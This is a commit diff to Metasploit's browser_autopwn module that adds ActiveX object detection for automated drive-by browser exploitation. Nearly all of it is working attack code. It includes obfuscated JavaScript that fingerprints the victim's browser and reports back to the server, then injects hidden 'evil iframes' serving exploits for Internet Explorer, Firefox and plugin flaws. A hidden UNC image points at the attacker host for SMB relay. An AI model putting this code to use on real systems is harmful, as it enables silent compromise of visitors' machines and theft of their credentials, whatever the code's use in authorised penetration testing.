add new object detection technique to browser_autopwn
git-svn-id: file:///home/svn/framework3/trunk@5941 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
James Lee
parent
63a6c7ec39
commit
e02574e1fc
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@ -1,5 +1,5 @@
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##
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# $Id:$
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# $Id$
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##
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##
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@ -94,16 +94,19 @@ class Metasploit3 < Msf::Auxiliary
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# Firefox < 1.0.5
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# requires javascript
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# currently only has a windows target
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init_exploit('exploit/multi/browser/mozilla_compareto')
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# Firefox < 1.5.0.5
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# requires java
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# requires javascript
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# Has targets for Windows, Linux x86, MacOSX x86/PPC, no auto
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init_exploit('exploit/multi/browser/mozilla_navigatorjava')
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# Firefox < 1.5.0.1
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# For now just use the default target of Mac.
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# requires javascript
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# Has targets for MacOSX PPC and Linux x86, no auto
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init_exploit('exploit/multi/browser/firefox_queryinterface')
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# works on iPhone
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@ -153,6 +156,18 @@ class Metasploit3 < Msf::Auxiliary
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#init_exploit('exploit/windows/browser/winamp_playlist_unc')
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# untested
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init_exploit('exploit/windows/browser/systemrequirementslab_unsafe')
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# untested
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init_exploit('exploit/windows/browser/lpviewer_url')
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# untested
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init_exploit('exploit/windows/browser/softartisans_getdrivename')
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# untested
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init_exploit('exploit/windows/browser/ms08_053_mediaencoder')
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# untested
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init_exploit('exploit/windows/browser/macrovision_unsafe')
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#
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# Requires UNC path which only seems to work on IE in my tests
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#
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@ -248,44 +263,39 @@ class Metasploit3 < Msf::Auxiliary
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response = create_response()
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# TODO: instead of writing all of the iframes at once,
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# consider having a javascript timeout function that writes
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# each exploit's iframe so they don't step on each other.
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# I'm not sure this is really an issue since IE seems to
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# just load the next iframe when the first didn't crash it.
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objects = []
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objects = {
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'DirectAnimation.PathControl' => @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource,
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'{88d969c5-f192-11d4-a65f-0040963251e5}' => @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource,
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'{36723F97-7AA0-11D4-8919-FF2D71D0D32C}' => @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource,
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'{BD96C556-65A3-11D0-983A-00C04FC29E36}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{BD96C556-65A3-11D0-983A-00C04FC29E30}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{6414512B-B978-451D-A0D8-FCFDF33E833C}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{06723E09-F4C2-43c8-8358-09FCD1DB0766}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{639F725F-1B2D-4831-A9FD-874847682010}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{BA018599-1DB3-44f9-83B4-461454C84BF8}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{E8CCCDDF-CA28-496b-B050-6C07C962476B}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{0006F033-0000-0000-C000-000000000046}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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'{0006F03A-0000-0000-C000-000000000046}' => @exploits['exploit/windows/browser/ie_createobject'].get_resource,
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}
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hash_declaration = objects.map{ |k, v| "'#{k}', '#{v}'," }.join.chop
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objects += [
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[ 'DirectAnimation.PathControl', 'KeyFrame', @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource ],
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[ 'LPViewer.LPViewer.1', 'URL', @exploits['exploit/windows/browser/lpviewer_url'].get_resource ],
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[ '{88D969C5-F192-11D4-A65F-0040963251E5}', 'SetRequestHeader', @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource ],
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[ '{36723F97-7AA0-11D4-8919-FF2D71D0D32C}', 'GetDriverSettings', @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource ],
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[ '{BD96C556-65A3-11D0-983A-00C04FC29E36}', 'CreateObject', @exploits['exploit/windows/browser/ie_createobject'].get_resource ],
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[ '{BD96C556-65A3-11D0-983A-00C04FC29E30}', 'CreateObject', @exploits['exploit/windows/browser/ie_createobject'].get_resource ],
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[ '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', 'CreateObject', @exploits['exploit/windows/browser/ie_createobject'].get_resource ],
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[ '{6414512B-B978-451D-A0D8-FCFDF33E833C}', 'CreateObject', @exploits['exploit/windows/browser/ie_createobject'].get_resource ],
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[ '{06723E09-F4C2-43C8-8358-09FCD1DB0766}', 'CreateObject', @exploits['exploit/windows/browser/ie_createobject'].get_resource ],
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[ '{639F725F-1B2D-4831-A9FD-874847682010}', 'CreateObject', @exploits['exploit/windows/browser/ie_createobject'].get_resource ],
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[ '{BA018599-1DB3-44F9-83B4-461454C84BF8}', 'CreateObject', @exploits['exploit/windows/browser/ie_createobject'].get_resource ],
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[ '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', 'CreateObject', @exploits['exploit/windows/browser/ie_createobject'].get_resource ],
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[ '{E8CCCDDF-CA28-496B-B050-6C07C962476B}', 'CreateObject', @exploits['exploit/windows/browser/ie_createobject'].get_resource ],
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[ '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', 'CreateObject', @exploits['exploit/windows/browser/ie_createobject'].get_resource ],
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[ '{0006F033-0000-0000-C000-000000000046}', 'CreateObject', @exploits['exploit/windows/browser/ie_createobject'].get_resource ],
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[ '{0006F03A-0000-0000-C000-000000000046}', 'CreateObject', @exploits['exploit/windows/browser/ie_createobject'].get_resource ],
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[ '{67A5F8DC-1A4B-4D66-9F24-A704AD929EEE}', 'Init', @exploits['exploit/windows/browser/systemrequirementslab_unsafe'].get_resource ],
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[ '{A8D3AD02-7508-4004-B2E9-AD33F087F43C}', 'GetDetailsString', @exploits['exploit/windows/browser/ms08_053_mediaencoder'].get_resource ],
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]
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objects = objects.map{ |arr| "new Array('#{arr[0]}', '#{arr[1]}', '#{arr[2]}')," }.join("\n").chop
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js = <<-ENDJS
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var DEBUGGING = false;
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#{js_os_detect}
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#{js_base64}
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// Hash implementation stolen from http://www.mojavelinux.com/articles/javascript_hashes.html
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function Hash() {
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this.length = 0;
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this.items = new Array();
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for (var current_item = 0; current_item < arguments.length; current_item += 2) {
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if (typeof(arguments[current_item + 1]) != 'undefined') {
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this.items[arguments[current_item]] = arguments[current_item + 1];
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this.length++;
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if (!(typeof(debug)== 'function')) {
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function debug(msg) {
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if (DEBUGGING) {
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document.writeln(msg);
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}
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}
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}
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@ -316,9 +326,9 @@ class Metasploit3 < Msf::Auxiliary
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while (-1 != encoded_detection.indexOf(cruft)) {
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encoded_detection = encoded_detection.replace(cruft, ":");
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}
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document.write(encoded_detection + "<br>");
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//debug(encoded_detection + "<br>");
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encoded_detection = Base64.encode(encoded_detection);
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document.write(encoded_detection + "<br>");
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//debug(encoded_detection + "<br>");
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xmlhr.open("GET", document.location + "?sessid=" + encoded_detection, false);
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xmlhr.send(null);
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}
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@ -338,88 +348,106 @@ class Metasploit3 < Msf::Auxiliary
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} catch (e) {}
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if ("#{HttpClients::IE}" == detected_version.browser_name) {
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//document.write("This is IE<br />");
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// object_list contains key-value pairs like
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// {classid} => /srvpath/to/exploit/for/classid
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// and
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// ActiveXname => /srvpath/to/exploit/for/ActiveXname
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var object_list = new Hash(#{hash_declaration});
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//debug("This is IE<br />");
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var object_list = new Array(#{objects});
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var vuln_obj;
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var written_frames = new Array();
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// iterate through our list of exploits
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//document.write("I have " + object_list.length + " objects to test <br />");
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for (var current_item in object_list.items) {
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//document.write("Testing for object " + current_item + " ... ");
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debug("I have " + object_list.length + " objects to test <br />");
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for (var current_object in object_list) {
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debug("Testing for object " + current_object + " ... ");
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// Don't write the same iframe more than once. This is
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// only an issue with ie_createobject which uses a ton of
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// different classids to perform the same exploit.
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// Assumes that no url will be a substring of another url.
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if (-1 != written_frames.toString().indexOf(object_list.items[current_item])) {
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//document.write("Already wrote an iframe for " + object_list.items[current_item] +"<br>");
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if (-1 != written_frames.toString().indexOf(object_list[current_object][2])) {
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debug("Already wrote an iframe for " + object_list[current_object][0] +"<br>");
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continue;
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}
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vuln_obj = '';
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if (current_item.substring(0,1) == '{') {
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//document.write("which is a clasid <br />");
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if (object_list[current_object][0].substring(0,1) == '{') {
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var name = object_list[current_object][0].substring( 1, object_list[current_object][0].length - 1 );
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//debug("which is a classid <br />");
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// classids are stored surrounded in braces for an easy way to tell
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// them from ActiveX object names, so if it has braces, strip them
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// out and create an object element with that classid
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var vuln_obj = document.createElement("object");
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vuln_obj = document.createElement("object");
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vuln_obj.setAttribute("classid", "clsid:" + name);
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vuln_obj.setAttribute("classid", "clsid:" + current_item.substring( 1, current_item.length - 1 ) ) ;
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vuln_obj.setAttribute("id", name);
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} else {
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//document.write("which is an AXO name <br />");
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// otherwise, try to create an AXO with that name
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try { vuln_obj = new ActiveXObject(current_item); } catch(e){}
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try {
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vuln_obj = new ActiveXObject(object_list[current_object][0]);
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} catch(e){
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vuln_obj = '';
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}
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// This doesn't bloody work. vuln_obj is always something
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// that evaluates to true but there doesn't seem to be any
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// way of determining if it is actually an ActiveX object.
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// Since we can't tell if it will work, we end up just sending
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// all of the iframes; some of them don't work, some of them
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// do and we get multiple shells. Junior Varsity.
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if (vuln_obj) {
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document.write("It exists, making evil iframe <br />");
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sploit_frame += '#{build_iframe("' + object_list.items[current_item] + '")}';
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// why the hell is there no array.push() in javascript?
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written_frames[written_frames.length] = object_list.items[current_item];
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} else {
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//document.write("It does NOT exist, skipping. <br />");
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debug("did ActiveXObject("+ object_list[current_object][0] +") and i got a "+ typeof(vuln_obj) +"<br>");
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}
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} // for each exploit
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} // if IE
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// javascript lets us access method names like array
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// elements, so obj.foo is the same as obj['foo']
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// However, ActiveX objects created with an
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// <object classid="..."> tag don't advertise their methods
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// the same way other objects do, i.e., in the example
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// above, foo does not show up in
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// for (var method in obj) { ... }
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// It's still there, you just can't see it. Unfortunately,
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// there is no method that all ActiveX objects must
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// implement, so as far as I can tell, there is no generic
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// way to determine if the object is available. The
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// solution is to check for the existence of a method we
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// know based on the exploit, e.g. in the case of
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// windows/browser/ie_createobject, CreateObject() must
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// exist. Methods that don't exist have a
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// typeof == 'undefined' whereas exported ActiveX object
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// methods have a typeof == 'unknown'
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if (typeof(vuln_obj[object_list[current_object][1]]) == 'unknown') {
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// then we're golden, write the evil iframe
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sploit_frame += '#{build_iframe("' + object_list[current_object][2] + '")}';
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// array.push() is not cross-platform
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written_frames[written_frames.length] = object_list[current_object][2];
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//} else if (typeof(vuln_obj[object_list[current_object][1]]) != 'undefined') {
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// eval("alert(typeof(vuln_obj."+ object_list[current_object][1] +"));");
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}
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} // end for each exploit
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} // end if IE
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else {
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//document.write("this is NOT MSIE<br />");
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//debug("this is NOT MSIE<br />");
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if (window.navigator.javaEnabled && window.navigator.javaEnabled()) {
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sploit_frame += '#{build_iframe(@exploits['exploit/multi/browser/mozilla_navigatorjava'].get_resource)}';
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sploit_frame += "#{build_iframe(@exploits['exploit/multi/browser/mozilla_navigatorjava'].get_resource)}";
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} else {
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//debug("NO exploit/multi/browser/mozilla_navigatorjava");
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}
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if (window.InstallVersion) {
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sploit_frame += '#{build_iframe(@exploits['exploit/multi/browser/mozilla_compareto'].get_resource)}';
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sploit_frame += "#{build_iframe(@exploits['exploit/multi/browser/mozilla_compareto'].get_resource)}";
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} else {
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//debug("NO exploit/multi/browser/mozilla_compareto");
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}
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// eventually this exploit will have an auto target and
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// this check won't be necessary
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//if ("#{OperatingSystems::MAC_OSX}" == detected_version.os_name) {
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if ("#{OperatingSystems::MAC_OSX}" == detected_version.os_name) {
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if (location.QueryInterface) {
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sploit_frame += '#{build_iframe(@exploits['exploit/multi/browser/firefox_queryinterface'].get_resource)}';
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sploit_frame += "#{build_iframe(@exploits['exploit/multi/browser/firefox_queryinterface'].get_resource)}";
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}
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}
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//}
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}
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if (0 < sploit_frame.length) {
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//document.write("Conditions optimal, writing evil iframe(s) <br />");
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document.write(sploit_frame);
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// This is isn't working in IE6. Revert to document.write
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// until we can come up with something better
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//body_elem.innerHTML += sploit_frame;
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document.writeln(sploit_frame);
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}
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} // function BodyOnLoad
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window.onload = BodyOnLoad
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window.onload = BodyOnLoad;
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ENDJS
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opts = {
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# Strings obfuscation still needs more testing
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'Strings' => true,
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'Symbols' => {
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'Variables' => [
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'current_item', 'items',
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'current_object',
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'body_elem', 'body_id',
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'object_list', 'vuln_obj',
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'obj_elem', 'sploit_frame',
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@ -439,16 +467,18 @@ class Metasploit3 < Msf::Auxiliary
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js.update_opts(js_base64.opts)
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js.obfuscate()
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body = "<body id=#{js.sym('body_id')}>"
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body = "<body id=\"#{js.sym('body_id')}\">"
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body << "<h1> Loading, please wait... </h1>"
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#
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# These are non-javascript exploits, send them with all requests in
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# case the ua is spoofed and js is turned off
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#
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body << "<!--[if lt IE 7]>"
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# commented this out so i can test other exploits
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# XXX uncomment for release
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#body << build_iframe(@exploits['exploit/windows/browser/ms03_020_ie_objecttype'].get_resource)
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body << build_iframe(@exploits['exploit/windows/browser/ms03_020_ie_objecttype'].get_resource)
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#body << "Internet Explorer < version 7"
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body << "<![endif]-->"
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# image for smb_relay
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@ -457,9 +487,10 @@ class Metasploit3 < Msf::Auxiliary
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body << %Q{
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<img src="\\\\#{@lhost}\\#{share_name}\\#{img_name}" style="visibility:hidden" height="0" width="0" border="0" />
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}
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body << "<div id=\"osx-non-js\">"
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body << build_iframe(@exploits['exploit/windows/browser/apple_quicktime_rtsp'].get_resource)
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body << build_iframe(@exploits['exploit/osx/armle/safari_libtiff'].get_resource)
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body << "</div>"
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response.body = ' <html > <head > <title > Loading </title> '
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response.body << ' <script language="javascript" type="text/javascript" >'
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